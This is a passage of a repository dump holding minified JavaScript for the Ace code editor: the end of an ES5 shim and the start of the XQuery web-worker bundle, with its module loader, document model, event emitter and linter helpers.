\",N=\"Object.defineProperty called on non-object: \",C=\"getters & setters can not be defined on this javascript engine\";Object.defineProperty=function(t,n,r){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(N+t);if(typeof r!=\"object\"&&typeof r!=\"function\"||r===null)throw new TypeError(T+r);if(x)try{return x.call(Object,t,n,r)}catch(i){}if(f(r,\"value\"))if(d&&(h(t,n)||p(t,n))){var s=t.__proto__;t.__proto__=o,delete t[n],t[n]=r.value,t.__proto__=s}else t[n]=r.value;else{if(!d)throw new TypeError(C);f(r,\"get\")&&l(t,n,r.get),f(r,\"set\")&&c(t,n,r.set)}return t}}Object.defineProperties||(Object.defineProperties=function(t,n){for(var r in n)f(n,r)&&Object.defineProperty(t,r,n[r]);return t}),Object.seal||(Object.seal=function(t){return t}),Object.freeze||(Object.freeze=function(t){return t});try{Object.freeze(function(){})}catch(k){Object.freeze=function(t){return function(n){return typeof n==\"function\"?n:t(n)}}(Object.freeze)}Object.preventExtensions||(Object.preventExtensions=function(t){return t}),Object.isSealed||(Object.isSealed=function(t){return!1}),Object.isFrozen||(Object.isFrozen=function(t){return!1}),Object.isExtensible||(Object.isExtensible=function(t){if(Object(t)===t)throw new TypeError;var n=\"\";while(f(t,n))n+=\"?\";t[n]=!0;var r=f(t,n);return delete t[n],r});if(!Object.keys){var L=!0,A=[\"toString\",\"toLocaleString\",\"valueOf\",\"hasOwnProperty\",\"isPrototypeOf\",\"propertyIsEnumerable\",\"constructor\"],O=A.length;for(var M in{toString:null})L=!1;Object.keys=function I(e){if(typeof e!=\"object\"&&typeof e!=\"function\"||e===null)throw new TypeError(\"Object.keys called on a non-object\");var I=[];for(var t in e)f(e,t)&&I.push(t);if(L)for(var n=0,r=O;n<r;n++){var i=A[n];f(e,i)&&I.push(i)}return I}}Date.now||(Date.now=function(){return(new Date).getTime()});var _=\"\t\\n\u000b\\f\\r \\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000\\u2028\\u2029\\ufeff\";if(!String.prototype.trim||_.trim()){_=\"[\"+_+\"]\";var D=new RegExp(\"^\"+_+_+\"*\"),P=new RegExp(_+_+\"*$\");String.prototype.trim=function(){return String(this).replace(D,\"\").replace(P,\"\")}}var F=function(e){if(e==null)throw new TypeError(\"can't convert \"+e+\" to object\");return Object(e)}})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/worker-xquery.js",
    "content": "\"no use strict\";(function(e){function t(e,t){var n=e,r=\"\";while(n){var i=t[n];if(typeof i==\"string\")return i+r;if(i)return i.location.replace(/\\/*$/,\"/\")+(r||i.main||i.name);if(i===!1)return\"\";var s=n.lastIndexOf(\"/\");if(s===-1)break;r=n.substr(s)+r,n=n.slice(0,s)}return e}if(typeof e.window!=\"undefined\"&&e.document)return;if(e.require&&e.define)return;e.console||(e.console=function(){var e=Array.prototype.slice.call(arguments,0);postMessage({type:\"log\",data:e})},e.console.error=e.console.warn=e.console.log=e.console.trace=e.console),e.window=e,e.ace=e,e.onerror=function(e,t,n,r,i){postMessage({type:\"error\",data:{message:e,data:i.data,file:t,line:n,col:r,stack:i.stack}})},e.normalizeModule=function(t,n){if(n.indexOf(\"!\")!==-1){var r=n.split(\"!\");return e.normalizeModule(t,r[0])+\"!\"+e.normalizeModule(t,r[1])}if(n.charAt(0)==\".\"){var i=t.split(\"/\").slice(0,-1).join(\"/\");n=(i?i+\"/\":\"\")+n;while(n.indexOf(\".\")!==-1&&s!=n){var s=n;n=n.replace(/^\\.\\//,\"\").replace(/\\/\\.\\//,\"/\").replace(/[^\\/]+\\/\\.\\.\\//,\"\")}}return n},e.require=function(r,i){i||(i=r,r=null);if(!i.charAt)throw new Error(\"worker.js require() accepts only (parentId, id) as arguments\");i=e.normalizeModule(r,i);var s=e.require.modules[i];if(s)return s.initialized||(s.initialized=!0,s.exports=s.factory().exports),s.exports;if(!e.require.tlns)return console.log(\"unable to load \"+i);var o=t(i,e.require.tlns);return o.slice(-3)!=\".js\"&&(o+=\".js\"),e.require.id=i,e.require.modules[i]={},importScripts(o),e.require(r,i)},e.require.modules={},e.require.tlns={},e.define=function(t,n,r){arguments.length==2?(r=n,typeof t!=\"string\"&&(n=t,t=e.require.id)):arguments.length==1&&(r=t,n=[],t=e.require.id);if(typeof r!=\"function\"){e.require.modules[t]={exports:r,initialized:!0};return}n.length||(n=[\"require\",\"exports\",\"module\"]);var i=function(n){return e.require(t,n)};e.require.modules[t]={exports:{},factory:function(){var e=this,t=r.apply(this,n.map(function(t){switch(t){case\"require\":return i;case\"exports\":return e.exports;case\"module\":return e;default:return i(t)}}));return t&&(e.exports=t),e}}},e.define.amd={},require.tlns={},e.initBaseUrls=function(t){for(var n in t)require.tlns[n]=t[n]},e.initSender=function(){var n=e.require(\"ace/lib/event_emitter\").EventEmitter,r=e.require(\"ace/lib/oop\"),i=function(){};return function(){r.implement(this,n),this.callback=function(e,t){postMessage({type:\"call\",id:t,data:e})},this.emit=function(e,t){postMessage({type:\"event\",name:e,data:t})}}.call(i.prototype),new i};var n=e.main=null,r=e.sender=null;e.onmessage=function(t){var i=t.data;if(i.event&&r)r._signal(i.event,i.data);else if(i.command)if(n[i.command])n[i.command].apply(n,i.args);else{if(!e[i.command])throw new Error(\"Unknown command:\"+i.command);e[i.command].apply(e,i.args)}else if(i.init){e.initBaseUrls(i.tlns),require(\"ace/lib/es5-shim\"),r=e.sender=e.initSender();var s=require(i.module)[i.classname];n=e.main=new s(r)}}})(this),define(\"ace/lib/oop\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var n in t)e[n]=t[n];return e},t.implement=function(e,n){t.mixin(e,n)}}),define(\"ace/range\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t){return e.row-t.row||e.column-t.column},i=function(e,t,n,r){this.start={row:e,column:t},this.end={row:n,column:r}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return\"Range: [\"+this.start.row+\"/\"+this.start.column+\"] -> [\"+this.end.row+\"/\"+this.end.column+\"]\"},this.contains=function(e,t){return this.compare(e,t)==0},this.compareRange=function(e){var t,n=e.end,r=e.start;return t=this.compare(n.row,n.column),t==1?(t=this.compare(r.row,r.column),t==1?2:t==0?1:0):t==-1?-2:(t=this.compare(r.row,r.column),t==-1?-1:t==1?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return this.comparePoint(e.start)==0&&this.comparePoint(e.end)==0},this.intersects=function(e){var t=this.compareRange(e);return t==-1||t==0||t==1},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){typeof e==\"object\"?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){typeof e==\"object\"?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return this.compare(e,t)==0?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return!this.isMultiLine()&&e===this.start.row?t<this.start.column?-1:t>this.end.column?1:0:e<this.start.row?-1:e>this.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var n={row:t+1,column:0};else if(this.end.row<e)var n={row:e,column:0};if(this.start.row>t)var r={row:t+1,column:0};else if(this.start.row<e)var r={row:e,column:0};return i.fromPoints(r||this.start,n||this.end)},this.extend=function(e,t){var n=this.compare(e,t);if(n==0)return this;if(n==-1)var r={row:e,column:t};else var s={row:e,column:t};return i.fromPoints(r||this.start,s||this.end)},this.isEmpty=function(){return this.start.row===this.end.row&&this.start.column===this.end.column},this.isMultiLine=function(){return this.start.row!==this.end.row},this.clone=function(){return i.fromPoints(this.start,this.end)},this.collapseRows=function(){return this.end.column==0?new i(this.start.row,0,Math.max(this.start.row,this.end.row-1),0):new i(this.start.row,0,this.end.row,0)},this.toScreenRange=function(e){var t=e.documentToScreenPosition(this.start),n=e.documentToScreenPosition(this.end);return new i(t.row,t.column,n.row,n.column)},this.moveBy=function(e,t){this.start.row+=e,this.start.column+=t,this.end.row+=e,this.end.column+=t}}).call(i.prototype),i.fromPoints=function(e,t){return new i(e.row,e.column,t.row,t.column)},i.comparePoints=r,i.comparePoints=function(e,t){return e.row-t.row||e.column-t.column},t.Range=i}),define(\"ace/apply_delta\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e,t){throw console.log(\"Invalid Delta:\",e),\"Invalid Delta: \"+t}function i(e,t){return t.row>=0&&t.row<e.length&&t.column>=0&&t.column<=e[t.row].length}function s(e,t){t.action!=\"insert\"&&t.action!=\"remove\"&&r(t,\"delta.action must be 'insert' or 'remove'\"),t.lines instanceof Array||r(t,\"delta.lines must be an Array\"),(!t.start||!t.end)&&r(t,\"delta.start/end must be an present\");var n=t.start;i(e,t.start)||r(t,\"delta.start must be contained in document\");var s=t.end;t.action==\"remove\"&&!i(e,s)&&r(t,\"delta.end must contained in document for 'remove' actions\");var o=s.row-n.row,u=s.column-(o==0?n.column:0);(o!=t.lines.length-1||t.lines[o].length!=u)&&r(t,\"delta.range must match delta lines\")}t.applyDelta=function(e,t,n){var r=t.start.row,i=t.start.column,s=e[r]||\"\";switch(t.action){case\"insert\":var o=t.lines;if(o.length===1)e[r]=s.substring(0,i)+t.lines[0]+s.substring(i);else{var u=[r,1].concat(t.lines);e.splice.apply(e,u),e[r]=s.substring(0,i)+e[r],e[r+t.lines.length-1]+=s.substring(i)}break;case\"remove\":var a=t.end.column,f=t.end.row;r===f?e[r]=s.substring(0,i)+s.substring(a):e.splice(r,f-r+1,s.substring(0,i)+e[f].substring(a))}}}),define(\"ace/lib/event_emitter\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={},i=function(){this.propagationStopped=!0},s=function(){this.defaultPrevented=!0};r._emit=r._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var n=this._eventRegistry[e]||[],r=this._defaultHandlers[e];if(!n.length&&!r)return;if(typeof t!=\"object\"||!t)t={};t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=i),t.preventDefault||(t.preventDefault=s),n=n.slice();for(var o=0;o<n.length;o++){n[o](t,this);if(t.propagationStopped)break}if(r&&!t.defaultPrevented)return r(t,this)},r._signal=function(e,t){var n=(this._eventRegistry||{})[e];if(!n)return;n=n.slice();for(var r=0;r<n.length;r++)n[r](t,this)},r.once=function(e,t){var n=this;t&&this.addEventListener(e,function r(){n.removeEventListener(e,r),t.apply(null,arguments)})},r.setDefaultHandler=function(e,t){var n=this._defaultHandlers;n||(n=this._defaultHandlers={_disabled_:{}});if(n[e]){var r=n[e],i=n._disabled_[e];i||(n._disabled_[e]=i=[]),i.push(r);var s=i.indexOf(t);s!=-1&&i.splice(s,1)}n[e]=t},r.removeDefaultHandler=function(e,t){var n=this._defaultHandlers;if(!n)return;var r=n._disabled_[e];if(n[e]==t){var i=n[e];r&&this.setDefaultHandler(e,r.pop())}else if(r){var s=r.indexOf(t);s!=-1&&r.splice(s,1)}},r.on=r.addEventListener=function(e,t,n){this._eventRegistry=this._eventRegistry||{};var r=this._eventRegistry[e];return r||(r=this._eventRegistry[e]=[]),r.indexOf(t)==-1&&r[n?\"unshift\":\"push\"](t),t},r.off=r.removeListener=r.removeEventListener=function(e,t){this._eventRegistry=this._eventRegistry||{};var n=this._eventRegistry[e];if(!n)return;var r=n.indexOf(t);r!==-1&&n.splice(r,1)},r.removeAllListeners=function(e){this._eventRegistry&&(this._eventRegistry[e]=[])},t.EventEmitter=r}),define(\"ace/anchor\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=t.Anchor=function(e,t,n){this.$onChange=this.onChange.bind(this),this.attach(e),typeof n==\"undefined\"?this.setPosition(t.row,t.column):this.setPosition(t,n)};(function(){function e(e,t,n){var r=n?e.column<=t.column:e.column<t.column;return e.row<t.row||e.row==t.row&&r}function t(t,n,r){var i=t.action==\"insert\",s=(i?1:-1)*(t.end.row-t.start.row),o=(i?1:-1)*(t.end.column-t.start.column),u=t.start,a=i?u:t.end;return e(n,u,r)?{row:n.row,column:n.column}:e(a,n,!r)?{row:n.row+s,column:n.column+(n.row==a.row?o:0)}:{row:u.row,column:u.column}}r.implement(this,i),this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)},this.getDocument=function(){return this.document},this.$insertRight=!1,this.onChange=function(e){if(e.start.row==e.end.row&&e.start.row!=this.row)return;if(e.start.row>this.row)return;var n=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(n.row,n.column,!0)},this.setPosition=function(e,t,n){var r;n?r={row:e,column:t}:r=this.$clipPositionToDocument(e,t);if(this.row==r.row&&this.column==r.column)return;var i={row:this.row,column:this.column};this.row=r.row,this.column=r.column,this._signal(\"change\",{old:i,value:r})},this.detach=function(){this.document.removeEventListener(\"change\",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on(\"change\",this.$onChange)},this.$clipPositionToDocument=function(e,t){var n={};return e>=this.document.getLength()?(n.row=Math.max(0,this.document.getLength()-1),n.column=this.document.getLine(n.row).length):e<0?(n.row=0,n.column=0):(n.row=e,n.column=Math.min(this.document.getLine(n.row).length,Math.max(0,t))),t<0&&(n.column=0),n}}).call(s.prototype)}),define(\"ace/document\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/apply_delta\",\"ace/lib/event_emitter\",\"ace/range\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./apply_delta\").applyDelta,s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=function(e){this.$lines=[\"\"],e.length===0?this.$lines=[\"\"]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){r.implement(this,s),this.setValue=function(e){var t=this.getLength()-1;this.remove(new o(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new u(this,e,t)},\"aaa\".split(/a/).length===0?this.$split=function(e){return e.replace(/\\r\\n|\\r/g,\"\\n\").split(\"\\n\")}:this.$split=function(e){return e.split(/\\r\\n|\\r|\\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\\r\\n|\\r|\\n)/m);this.$autoNewLine=t?t[1]:\"\\n\",this._signal(\"changeNewLineMode\")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case\"windows\":return\"\\r\\n\";case\"unix\":return\"\\n\";default:return this.$autoNewLine||\"\\n\"}},this.$autoNewLine=\"\",this.$newLineMode=\"auto\",this.setNewLineMode=function(e){if(this.$newLineMode===e)return;this.$newLineMode=e,this._signal(\"changeNewLineMode\")},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return e==\"\\r\\n\"||e==\"\\r\"||e==\"\\n\"},this.getLine=function(e){return this.$lines[e]||\"\"},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||\"\").substring(e.start.column);var n=t.length-1;e.end.row-e.start.row==n&&(t[n]=t[n].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn(\"Use of document.insertLines is deprecated. Use the insertFullLines method instead.\"),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn(\"Use of document.removeLines is deprecated. Use the removeFullLines method instead.\"),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn(\"Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.\"),this.insertMergedLines(e,[\"\",\"\"])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var n=this.clippedPos(e.row,e.column),r=this.pos(e.row,e.column+t.length);return this.applyDelta({start:n,end:r,action:\"insert\",lines:[t]},!0),this.clonePos(r)},this.clippedPos=function(e,t){var n=this.getLength();e===undefined?e=n:e<0?e=0:e>=n&&(e=n-1,t=undefined);var r=this.getLine(e);return t==undefined&&(t=r.length),t=Math.min(Math.max(t,0),r.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var n=0;e<this.getLength()?(t=t.concat([\"\"]),n=0):(t=[\"\"].concat(t),e--,n=this.$lines[e].length),this.insertMergedLines({row:e,column:n},t)},this.insertMergedLines=function(e,t){var n=this.clippedPos(e.row,e.column),r={row:n.row+t.length-1,column:(t.length==1?n.column:0)+t[t.length-1].length};return this.applyDelta({start:n,end:r,action:\"insert\",lines:t}),this.clonePos(r)},this.remove=function(e){var t=this.clippedPos(e.start.row,e.start.column),n=this.clippedPos(e.end.row,e.end.column);return this.applyDelta({start:t,end:n,action:\"remove\",lines:this.getLinesForRange({start:t,end:n})}),this.clonePos(t)},this.removeInLine=function(e,t,n){var r=this.clippedPos(e,t),i=this.clippedPos(e,n);return this.applyDelta({start:r,end:i,action:\"remove\",lines:this.getLinesForRange({start:r,end:i})},!0),this.clonePos(r)},this.removeFullLines=function(e,t){e=Math.min(Math.max(0,e),this.getLength()-1),t=Math.min(Math.max(0,t),this.getLength()-1);var n=t==this.getLength()-1&&e>0,r=t<this.getLength()-1,i=n?e-1:e,s=n?this.getLine(i).length:0,u=r?t+1:t,a=r?0:this.getLine(u).length,f=new o(i,s,u,a),l=this.$lines.slice(e,t+1);return this.applyDelta({start:f.start,end:f.end,action:\"remove\",lines:this.getLinesForRange(f)}),l},this.removeNewLine=function(e){e<this.getLength()-1&&e>=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:\"remove\",lines:[\"\",\"\"]})},this.replace=function(e,t){e instanceof o||(e=o.fromPoints(e.start,e.end));if(t.length===0&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;this.remove(e);var n;return t?n=this.insert(e.start,t):n=e.start,n},this.applyDeltas=function(e){for(var t=0;t<e.length;t++)this.applyDelta(e[t])},this.revertDeltas=function(e){for(var t=e.length-1;t>=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var n=e.action==\"insert\";if(n?e.lines.length<=1&&!e.lines[0]:!o.comparePoints(e.start,e.end))return;n&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),i(this.$lines,e,t),this._signal(\"change\",e)},this.$splitAndapplyLargeDelta=function(e,t){var n=e.lines,r=n.length,i=e.start.row,s=e.start.column,o=0,u=0;do{o=u,u+=t-1;var a=n.slice(o,u);if(u>r){e.lines=a,e.start.row=i+o,e.start.column=s;break}a.push(\"\"),this.applyDelta({start:this.pos(i+o,s),end:this.pos(i+u,s=0),action:e.action,lines:a},!0)}while(!0)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:e.action==\"insert\"?\"remove\":\"insert\",lines:e.lines.slice()})},this.indexToPosition=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length;for(var i=t||0,s=n.length;i<s;i++){e-=n[i].length+r;if(e<0)return{row:i,column:e+n[i].length+r}}return{row:s-1,column:n[s-1].length}},this.positionToIndex=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length,i=0,s=Math.min(e.row,n.length);for(var o=t||0;o<s;++o)i+=n[o].length+r;return i+e.column}}).call(a.prototype),t.Document=a}),define(\"ace/lib/lang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split(\"\").reverse().join(\"\")},t.stringRepeat=function(e,t){var n=\"\";while(t>0){t&1&&(n+=e);if(t>>=1)e+=e}return n};var r=/^\\s\\s*/,i=/\\s\\s*$/;t.stringTrimLeft=function(e){return e.replace(r,\"\")},t.stringTrimRight=function(e){return e.replace(i,\"\")},t.copyObject=function(e){var t={};for(var n in e)t[n]=e[n];return t},t.copyArray=function(e){var t=[];for(var n=0,r=e.length;n<r;n++)e[n]&&typeof e[n]==\"object\"?t[n]=this.copyObject(e[n]):t[n]=e[n];return t},t.deepCopy=function s(e){if(typeof e!=\"object\"||!e)return e;var t;if(Array.isArray(e)){t=[];for(var n=0;n<e.length;n++)t[n]=s(e[n]);return t}var r=e.constructor;if(r===RegExp)return e;t=r();for(var n in e)t[n]=s(e[n]);return t},t.arrayToMap=function(e){var t={};for(var n=0;n<e.length;n++)t[e[n]]=1;return t},t.createMap=function(e){var t=Object.create(null);for(var n in e)t[n]=e[n];return t},t.arrayRemove=function(e,t){for(var n=0;n<=e.length;n++)t===e[n]&&e.splice(n,1)},t.escapeRegExp=function(e){return e.replace(/([.*+?^${}()|[\\]\\/\\\\])/g,\"\\\\$1\")},t.escapeHTML=function(e){return e.replace(/&/g,\"&#38;\").replace(/\"/g,\"&#34;\").replace(/'/g,\"&#39;\").replace(/</g,\"&#60;\")},t.getMatchOffsets=function(e,t){var n=[];return e.replace(t,function(e){n.push({offset:arguments[arguments.length-2],length:e.length})}),n},t.deferredCall=function(e){var t=null,n=function(){t=null,e()},r=function(e){return r.cancel(),t=setTimeout(n,e||0),r};return r.schedule=r,r.call=function(){return this.cancel(),e(),r},r.cancel=function(){return clearTimeout(t),t=null,r},r.isPending=function(){return t},r},t.delayedCall=function(e,t){var n=null,r=function(){n=null,e()},i=function(e){n==null&&(n=setTimeout(r,e||t))};return i.delay=function(e){n&&clearTimeout(n),n=setTimeout(r,e||t)},i.schedule=i,i.call=function(){this.cancel(),e()},i.cancel=function(){n&&clearTimeout(n),n=null},i.isPending=function(){return n},i}}),define(\"ace/worker/mirror\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/document\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../document\").Document,s=e(\"../lib/lang\"),o=t.Mirror=function(e){this.sender=e;var t=this.doc=new i(\"\"),n=this.deferredUpdate=s.delayedCall(this.onUpdate.bind(this)),r=this;e.on(\"change\",function(e){var i=e.data;if(i[0].start)t.applyDeltas(i);else for(var s=0;s<i.length;s+=2){if(Array.isArray(i[s+1]))var o={action:\"insert\",start:i[s],lines:i[s+1]};else var o={action:\"remove\",start:i[s],end:i[s+1]};t.applyDelta(o,!0)}if(r.$timeout)return n.schedule(r.$timeout);r.onUpdate()})};(function(){this.$timeout=500,this.setTimeout=function(e){this.$timeout=e},this.setValue=function(e){this.doc.setValue(e),this.deferredUpdate.schedule(this.$timeout)},this.getValue=function(e){this.sender.callback(this.doc.getValue(),e)},this.onUpdate=function(){},this.isPending=function(){return this.deferredUpdate.isPending()}}).call(o.prototype)}),define(\"ace/mode/xquery/xqlint\",[\"require\",\"exports\",\"module\",\"ace/mode/tree_ops\",\"ace/mode/xquery/errors\",\"ace/mode/tree_ops\",\"ace/mode/xquery/errors\",\"ace/mode/xquery/schema_built-in_types\",\"ace/mode/xquery/errors\",\"ace/mode/tree_ops\",\"ace/mode/xquery/static_context\",\"ace/mode/xquery/handlers\",\"ace/mode/tree_ops\",\"ace/mode/xquery/parsers/JSONiqParser\",\"ace/mode/xquery/parsers/XQueryParser\",\"ace/mode/xquery/parsers/JSONParseTreeHandler\",\"ace/mode/xquery/compiler/translator\",\"ace/mode/xquery/formatter/style_checker\",\"ace/mode/lib/completion/completer\",\"ace/mode/xquery/compiler/static_context\"],function(e,t,n){n.exports=function r(t,n,i){function s(u,a){if(!n[u]){if(!t[u]){var f=typeof e==\"function\"&&e;if(!a&&f)return f(u,!0);if(o)return o(u,!0);var l=new Error(\"Cannot find module '\"+u+\"'\");throw l.code=\"MODULE_NOT_FOUND\",l}var c=n[u]={exports:{}};t[u][0].call(c.exports,function(e){var n=t[u][1][e];return s(n?n:e)},c,c.exports,r,t,n,i)}return n[u].exports}var o=typeof e==\"function\"&&e;for(var u=0;u<i.length;u++)s(i[u]);return s}({1:[function(e,t,n){\"use strict\";var r=function(e,t,n,r,i){if(!t)throw new Error(i+\" code is missing.\");if(!n)throw new Error(i+\" message is missing.\");if(!r)throw new Error(i+\" position is missing.\");e.getCode=function(){return t},e.getMessage=function(){return n},e.getPos=function(){return r}},i={},s={};i.prototype=new Error,s.prototype=new Error,n.StaticError=i.prototype.constructor=function(e,t,n){r(this,e,t,n,\"Error\")},n.StaticWarning=s.prototype.constructor=function(e,t,n){r(this,e,t,n,\"Warning\")}},{}],2:[function(e,t,n){\"use strict\";var r=e(\"../tree_ops\").TreeOps,i=e(\"./errors\"),s=i.StaticWarning;n.ModuleDecl=function(e,t,n){var i=\"\";return{NCName:function(e){i=r.flatten(e)},URILiteral:function(s){s=r.flatten(s),s=s.substring(1,s.length-1),e.apply(function(){t.moduleNamespace=s,t.addNamespace(s,i,n.pos,\"moduleDecl\")})}}},n.ModuleImport=function(e,t,n){var i=\"\",s;return{NCName:function(e){i=r.flatten(e)},URILiteral:function(o){if(s!==undefined)return;o=r.flatten(o),o=o.substring(1,o.length-1),s=o,e.apply(function(){t.importModule(o,i,n.pos)})}}},n.SchemaImport=function(e,t,n){var i=\"\",s;return{SchemaPrefix:function(t){var n=function(){this.NCName=function(e){i=r.flatten(e)}};e.visitChildren(t,new n)},URILiteral:function(o){if(s!==undefined)return;o=r.flatten(o),o=o.substring(1,o.length-1),s=o,e.apply(function(){t.addNamespace(o,i,n.pos,\"schema\")})}}},n.DefaultNamespaceDecl=function(e,t,n){var i=!1,o=\"\";return{TOKEN:function(e){i=i?!0:e.value===\"function\"},URILiteral:function(u){o=r.flatten(u),o=o.substring(1,o.length-1),i?t.defaultFunctionNamespace=o:(e.apply(function(){throw new s(\"W06\",\"Avoid default element namespace declarations.\",n.pos)}),t.defaultElementNamespace=o)}}},n.NamespaceDecl=function(e,t,n){var i=\"\";return{NCName:function(e){i=r.flatten(e)},URILiteral:function(s){s=r.flatten(s),s=s.substring(1,s.length-1),e.apply(function(){t.addNamespace(s,i,n.pos,\"declare\")})}}},n.VarHandler=function(e,t,n){var i=function(i){var s=r.flatten(i);e.apply(function(){var e=t.resolveQName(s,i.pos);t.addVariable(e,n.name,i.pos)})};return{ExprSingle:function(){return!0},VarValue:function(){return!0},VarDefaultValue:function(){return!0},VarName:i,EQName:i}},n.VarRefHandler=function(e,t,n){return{VarName:function(i){var s=r.flatten(i);e.apply(function(){var e=t.resolveQName(s,n.pos);e.uri!==\"\"&&(t.root.namespaces[e.uri].used=!0),t.addVarRef(e,i.pos)})}}}},{\"../tree_ops\":11,\"./errors\":1}],3:[function(e,t,n){\"use strict\";n.getSchemaBuiltinTypes=function(){var e=\"http://www.w3.org/2001/XMLSchema\",t={};return t[e]={variables:{},functions:{}},t[e].functions[e+\"#string#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"string\",arity:1,eqname:{uri:e,name:\"string\"}},t[e].functions[e+\"#boolean#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"boolean\",arity:1,eqname:{uri:e,name:\"boolean\"}},t[e].functions[e+\"#decimal#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"decimal\",arity:1,eqname:{uri:e,name:\"decimal\"}},t[e].functions[e+\"#float#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"float\",arity:1,eqname:{uri:e,name:\"float\"}},t[e].functions[e+\"#double#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"double\",arity:1,eqname:{uri:e,name:\"double\"}},t[e].functions[e+\"#duration#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"duration\",arity:1,eqname:{uri:e,name:\"duration\"}},t[e].functions[e+\"#dateTime#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"dateTime\",arity:1,eqname:{uri:e,name:\"dateTime\"}},t[e].functions[e+\"#time#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"time\",arity:1,eqname:{uri:e,name:\"time\"}},t[e].functions[e+\"#date#1\"]={params:[\"$arg as 